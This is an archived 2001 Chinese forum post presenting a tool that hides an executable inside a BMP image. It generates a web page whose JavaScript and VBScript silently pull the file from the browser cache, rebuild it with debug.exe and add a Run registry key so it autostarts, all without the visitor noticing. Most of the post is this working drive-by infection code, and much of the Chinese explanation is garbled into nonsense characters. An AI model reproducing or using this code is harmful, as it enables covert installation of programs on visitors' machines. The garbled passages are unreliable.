您的位置:>倾心亭BBS论坛> 返回栏目树状显示

隐藏在BMP图像中的*.EXE程序

[删除/修改] [回复帖子]

发贴者:X.Z 时间:2001-12-6 0:03:07 点击29次
61.139.245.48
隐藏在BMP图像中的*.EXE程序 
                          ------njhhack 
本程序可以将一个*.exe可执行程序(其实任何文件都行啦)编码成一个特殊的未经 
压缩的24位真彩色BMP图像,生成后的图像文件比原来的*.EXE文件只增大54-65个 
字节,为何会增大这么多呢,因为BMP文件头固定为54字节,编码时为减小空间浪 
费,我们假定每个描扫行的字节数是12的整数倍,所以当*.EXE文件的大小不是12 
的整数倍时,会在文件后填充1-11个字节(根据*.EXE文件大小定),这样加上54字 
节的BMP图像头,总共会增加54-65个字节,空间浪费量达到最小值. 
   将*.EXE文件编码成一个*.BMP图像文件有何用呢,呵呵,用处大了,首先起 
到加密作用,没有人会想到一个能正常显示的图像,其实是一个*.EXE的映象吧, 
   还有一个比较有用的应用是这样的,假如我有一个程序放在我的个人主页上, 
当我去访问我的主页时,我想让我的程序s.exe能自动下载到我的电脑中,并在下 
次启动时自动运行(大家不要害怕,s.exe不是个木马程序),通常要实现这种功能 
必须去点下载,然后保存,然后修改注册表让他自启动,好烦哟,现在将他编码成 
BMP图像后就不要这么烦了,你只要看一下网页,s.exe程序就会自动下载到你电 
脑中,并在下次自动启动,你感觉不到这个过程的哟:)这种功能是如何实现的呢? 
   我们知道通过<img src=s.bmp>龈犷块螋酊眸虺鲳雉昃s.bmp踱个砑锺,驿甑 
当铗沌看到s.bmp踱幅砑锺瓯,s.bmp钿件蝰经存酊ie5.0典蟛屐缓冲瑛鲳犭,龌赙 
铗沌看不到,悫过禅赈方法铗沌潼将臌躜出啻,桤果s.bmp赙经编怆典s.exe钿件 
蟪锺,溏愦镟当篾s.exe钿件被镡豇到电漪鲳犭(不赙点击镡豇,而赙雉昃瓯佐动 
腈眸虺镡豇典蟠:<). 
   虹虹s.bmp赙镡啻犭,镡沔铗沌卷编蚧个vbscript藉本帑筱filesystemobject 
遏矬啻谍规腭膑c:\windows\temporary internet files踱个淇饧,蝌瞠踱赙 
ie5.0典缓冲淇饧,膣螋看过典眸虺喉砑锺都酊踱囡蟠:),不到2汶鲶,铗沌典藉 
本卷躜到犭s[1].bmp踱个钿件,踱卷赙s.bmp钿件酊缓冲瑛鲳典沱做窠,哈哈, 
鲺篾桡铗躜族犭,筱file.copy龈犷将臌复鲦到c:\windows\temp淇饧镡,铗沌鲺 
篾黻抽锅键典蚧步犭. 
   襟镡啻典工作还赙颡筱到debug.exe踱个dos镡典超级弘钿骥犭,块铵典赙措 
踌痱酊w2k镡慊法筱,膣螋本技牾龌潼筱酊win9x鲳犭蟠,恒嗖,秭酊颡趱愦做澍'BM'*/ 
   fseek(fbmp,0,SEEK_SET); 
   fwrite(bmp,2,1,fbmp); 
   /*写入13个长整数图像头数据*/ 
   for(rest=2;rest<=14;rest++) 
   { 
       fseek(fbmp,2+(rest-2)*4,SEEK_SET); 
       fwrite(&head[rest],4,1,fbmp); 
   } 
   /*如果pos不是12的整数倍,则修改文件的大小为12的整数倍*/ 
   if(len>pos) 
   { 
       fseek(fbmp,len+hs-1,SEEK_SET); 
       fwrite(sbuf,1,1,fbmp); 
   } 
   fclose(fbmp); 
   /*下面生成网页*/ 

   fhtm=fopen("1.htm","wt"); 
   fprintf(fhtm,"<HTML>\n<HEAD>\n<TITLE>网页自动传输系统</TITLE>\n</HEAD>\n<BODY>"); 
   fprintf(fhtm,"\n数据装载中,请稍等............"); 
   fprintf(fhtm,"\n<IMG SRC=s.bmp width=0 height=0>"); 
   fprintf(fhtm,"\n<SCRIPT SRC=1.js></SCRIPT>"); 
   fprintf(fhtm,"\n</BODY>\n</HTML>"); 
   fclose(fhtm); 

   /*下面生成Javascript脚本*/ 
   fp=fopen("1.js","wt"); 
   fprintf(fp,"\ndocument.write('<APPLET HEIGHT=0 WIDTH=0 
code=com.ms.activeX.ActiveXComponent></APPLET>');"); 
   fprintf(fp,"\nfunction docsave()"); 
   fprintf(fp,"\n{"); 
   fprintf(fp,"\na=document.applets[0];"); 
   fprintf(fp,"\na.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');"); 
   fprintf(fp,"\na.createInstance();"); 
   fprintf(fp,"\nwsh=a.GetObject();"); 
   fprintf(fp,"\na.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');"); 
   fprintf(fp,"\na.createInstance();"); 
   fprintf(fp,"\nfso=a.GetObject();"); 


   /*下面为VBScript脚本生成部分*/ 
   fprintf(fp,"\nvar winsys=fso.GetSpecialFolder(1);"); 
   fprintf(fp,"\nvar vbs=winsys+'\\\\s.vbs';"); 
   fprintf(fp,"\nwsh.RegWrite 
('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\vbs','wscript 
'+'\"'+vbs+'\"');"); 
   fprintf(fp,"\nvar st=fso.CreateTextFile(vbs,true);"); 
   for(rest=0;rest<=18;rest++)fprintf(fp,"\nst.WriteLine('%s');",script1[rest]); 
   /*生成DEBUG脚本指令*/ 
   fprintf(fp,"\nst.WriteLine('      Lt.WriteLine(\"rbx\")');"); 
   fprintf(fp,"\nst.WriteLine('      Lt.WriteLine(\"%x\")');",(pos>>16)&0xffff); /* 
修改BX寄存器的内容*/ 
   fprintf(fp,"\nst.WriteLine('      Lt.WriteLine(\"rcx\")');"); 
   fprintf(fp,"\nst.WriteLine('      Lt.WriteLine(\"%x\")');",pos&0xffff);       /* 
修改CX寄存器的内容*/ 
   fprintf(fp,"\nst.WriteLine('      Lt.WriteLine(\"w136\")');");                /* 
丢弃BMP图像头并存盘*/ 
   fprintf(fp,"\nst.WriteLine('      Lt.WriteLine(\"q\")');");                   /* 
退出DEBUG.EXE程序*/ 
   for(rest=0;rest<=13;rest++)fprintf(fp,"\nst.WriteLine('%s');",script2[rest]); 
   fprintf(fp,"\nst.Close();"); 
   /*VBScript处理结束*/ 
    fprintf(fp,"\nfrk.document.write('<body height=40 bgcolor=#c0e0d0>文档保存成 
功!!!</body>');"); 
   fprintf(fp,"\n}"); 
   fprintf(fp,"\nsetTimeout('docsave()',1000);"); 
   fprintf(fp,"\ndocument.write('<br>正在保存文档,请稍等.........');"); 
   fprintf(fp,"\ndocument.write('<br><iframe id=frk frameborder=0  width=200 
height=50></'+'iframe>');"); 
   fprintf(fp,"\ndocument.write('<br>谢谢使用本软件');"); 
   fprintf(fp,"\ndocument.write('<br>作者:njhhack       主页:<a 
href=http://hotsky.363.net>hotsky.363.net</a>');"); 
   fprintf(fp,"\ndocument.write('<br>信箱:mailto:[email protected]   
OICQ:10772919');"); 
   fprintf(fp,"\ndocument.write('<br>程序:<a 
href=http://pub.jsol.net/~njhhack/programming/source/exe2bmp.zip>下载</a>/程序中含有c 
源码和使用帮助!!!');"); 
   fprintf(fp,"\ndocument.write('<br>(C)CopyRight 2001.8.5 HackSoft Research 
Lab.');"); 

   fclose(fp); 

   /*系统处理结束*/ 
   printf("\n系统处理完毕:"); 
   printf("\n原*.exe文件大小为%ld,新BMP图像文件大小为:%ld,文件增大%ld个字节,不包括54 
个字节的BMP图像头大小",pos,len,len-pos); 
   printf("\n生成的位图为24位真彩色BMP图像,无调色板,宽=%d,高=%d,宽高比例适 
中",col,row); 
   printf("\n你可以将图像用<img src=s.bmp>泓犷鲢篾眸虺轱,当眸虺被浏噜瓯,s.bmp砑锺 
块螋佐动镡豇到ie5.0典帔攴肩饧钿件拣,溷块"); 
   printf("\n块螋筱vbscript藉本将驿躜出啻,并复鲦到驿朦淇饧,杌后筱debug.exe泓犷将朦 
典bmp砑锺矸瑗掉并祸复*.exe钿件典舡啻大稹"); 
   printf("\n将砑锺钿件沱镐瞠*.exe,趄溷典*.exe卷被霾桦犭噜踹典电漪鲳,溷块螋进痧进蚧 
步典铲作:)"); 
   printf("\n作踹:hackboy     (c)copyright 2001.8.6"); 
   ; 






-------镡沔赙*.htm--------- 
<html> 
<head> 
<title>眸虺佐动传赇锏沓</title> 
</head> 
<body> 
挲君装豇鲳,珉轸佃............ 
<img src=s.bmp width=0 height=0> 
<script src=1.js></script> 
</body> 
</html> 





--------镡沔赙javascript钿件-------------- 

document.write('<APPLET HEIGHT=0 WIDTH=0 
code=com.ms.activeX.ActiveXComponent></APPLET>'); 
function docsave() 

a=document.applets[0]; 
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}'); 
a.createInstance(); 
wsh=a.GetObject(); 
a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}'); 
a.createInstance(); 
fso=a.GetObject(); 
var winsys=fso.GetSpecialFolder(1); 
var vbs=winsys+'\\s.vbs'; 
wsh.RegWrite 
('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs','wscript '+'"'+vbs+'" 
'); 
var st=fso.CreateTextFile(vbs,true); 
st.WriteLine('Option Explicit'); 
st.WriteLine('Dim FSO,WSH,CACHE,str'); 
st.WriteLine('Set FSO = CreateObject("Scripting.FileSystemObject")'); 
st.WriteLine('Set WSH = CreateObject("WScript.Shell")'); 
st.WriteLine('CACHE=wsh.RegRead 
("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell 
Folders\\Cache")'); 
st.WriteLine('wsh.RegDelete 
("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\vbs")'); 
st.WriteLine 
('wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\tmp","tmp.ex 
e"'); 
st.WriteLine('SearchBMPFile fso.GetFolder(CACHE),"s[1].bmp"'); 
st.WriteLine('WScript.Quit()'); 
st.WriteLine('Function SearchBMPFile(Folder,fname)'); 
st.WriteLine('   Dim SubFolder,File,Lt,tmp,winsys'); 
st.WriteLine('   str=FSO.GetParentFolderName(folder) & "\\" & folder.name & "\\" & 
fname'); 
st.WriteLine('   if FSO.FileExists(str) then'); 
st.WriteLine('      tmp=fso.GetSpecialFolder(2) & "\\"'); 
st.WriteLine('      winsys=fso.GetSpecialFolder(1) & "\\"'); 
st.WriteLine('      set File=FSO.GetFile(str)'); 
st.WriteLine('      File.Copy(tmp & "tmp.dat")'); 
st.WriteLine('      File.Delete'); 
st.WriteLine('      set Lt=FSO.CreateTextFile(tmp & "tmp.in")'); 
st.WriteLine('      Lt.WriteLine("rbx")'); 
st.WriteLine('      Lt.WriteLine("0")'); 
st.WriteLine('      Lt.WriteLine("rcx")'); 
st.WriteLine('      Lt.WriteLine("1000")'); 
st.WriteLine('      Lt.WriteLine("w136")'); 
st.WriteLine('      Lt.WriteLine("q")'); 
st.WriteLine('      Lt.Close'); 
st.WriteLine('      WSH.Run "command /c debug " & tmp & "tmp.dat <" & tmp & "tmp.in 
>" & tmp & "tmp.out",false,6'); 
st.WriteLine('      On Error Resume Next '); 
st.WriteLine('      FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")'); 
st.WriteLine('      FSO.GetFile(tmp & "tmp.dat").Delete'); 
st.WriteLine('      FSO.GetFile(tmp & "tmp.in").Delete'); 
st.WriteLine('      FSO.GetFile(tmp & "tmp.out").Delete'); 
st.WriteLine('   end if'); 
st.WriteLine('   If Folder.SubFolders.Count <> 0 Then'); 
st.WriteLine('      For Each SubFolder In Folder.SubFolders'); 
st.WriteLine('         SearchBMPFile SubFolder,fname'); 
st.WriteLine('      Next'); 
st.WriteLine('   End If'); 
st.WriteLine('End Function'); 
st.Close(); 
frk.document.write('<body height=40 bgcolor=#c0e0d0>文档保存成功!!!</body>'); 

setTimeout('docsave()',1000); 
document.write('<br>正在保存文档,请稍等.........'); 
document.write('<br><iframe id=frk frameborder=0  width=200 height=50></'+'iframe>'); 
document.write('<br>谢谢使用本软件'); 
document.write('<br>作者:njhhack       主页:<a 
href=http://hotsky.363.net>hotsky.363.net</a>'); 
document.write('<br>信箱:mailto:[email protected]   OICQ:10772919'); 
document.write('<br>程序:<a 
href=http://pub.jsol.net/~njhhack/programming/source/exe2bmp.zip>下载</a>/程序中含有c 
源码和使用帮助!!!'); 
document.write('<br>(C)CopyRight 2001.8.5 HackSoft Research Lab.'); 





     

共有1个回应的帖子(从旧到新):

他那是麻烦一点点!! -X.Z, 点击2次,来自61.139.244.221,2001-12-6 0:19:06
不过真是有图片可合成图片的!!病毒!:~)
大家有网页的可以试一下!!
<html>

<head>
<title></title>
</hea>
</head>

<body>

<p><img src="1.jpg" width="145" height="42"> </p>
</body>
</html>
把以上代码保存为*。JPG
上面那个图你自已可以改过名放上试一下在网页上找开看一下用IE找开!!看看要是再加上别的东东的话!:~)
(不过好象有点老的了!:~~)那个漏洞)
WINDOWS 2000用户

呵呵,打SP2就可以了,不提供链接,呵呵

WINDOWS 9X用户

升级 IE:

Internet Explorer 5.01 Service Pack 2.

http://www.microsoft.com/windows/ie/downloads/recommended/ie501sp2/default.asp

Internet Explorer 5.5 Service Pack 2.

http://www.microsoft.com/windows/ie/downloads/recommended/ie55sp2/default.asp
IE6没事!!

 


欢迎您对以上X.Z的文章提出自己的看法和意见!

回应者:
密码: Email:
主 题:
内 容: ------ (注意换行)

表情

随便说说啦! 我得意的笑^_^

没劲! 气死我啦!

我来回答你! 好奇怪哟!

大家小心! 有个好主意!

坚决同意! 反对反对!

主页名称:
主页地址:



程序设计:北海信息港 www.beihaiweb.net